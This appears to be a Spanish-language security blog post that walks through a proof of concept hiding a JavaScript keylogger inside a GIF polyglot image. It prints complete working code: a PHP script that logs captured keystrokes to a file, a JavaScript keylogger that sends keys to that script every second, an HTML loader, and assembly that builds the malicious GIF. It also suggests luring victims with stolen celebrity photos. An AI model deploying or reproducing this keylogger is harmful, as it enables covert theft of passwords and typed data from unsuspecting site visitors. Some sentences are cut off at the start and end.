Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos los
Imaginad... basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript...
Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic. Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS... eso y las fotos guarras las pone cada uno... XD
Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:
keylogger.php
<?php
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>
keylogger.js
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function(){
new Image().src = 'http://localhost/keylogger.php?c=' + keys;
keys = '';
}, 1000);
index.html
<img src="img.gif" />
<script src="img.gif"></script>
Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el "truco" está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:
WIDTH equ 10799 ; equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
HEIGTH equ 100 ; sólo para que sea más fácil de detectar
db 'GIF89a'
dw WIDTH, HEIGTH
db 0 ; GCT
db -1 ; color de fondo
db 0 ; relación de aspecto por defecto
db 02ch ; descriptor de imagen
dw 0, 0 ; NW corner
dw WIDTH, HEIGTH ; ancho y alto de la imagen
db 0 ; color de la tabla
db 2 ; tamaño lzw
db 0
db 3bh ; terminador del gif
db '*/' ; cierre del comentario
db '=1;' ; para falso uso de esa cadena GIF89a
;db ' alert(1) '
db 's = document.createElement("script");'
db 's.src = "http://localhost/keylogger.js";'
db 'document.body.appendChild(s);'
El resultado al compilarlo con YASM y visto en hexadecimal será el siguiente:
yasm gifjs.asm -o img.gif
Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:
Ahora mira la siguiente imagen y... mientras la miras... piensa... y analiza si tú también has podido ser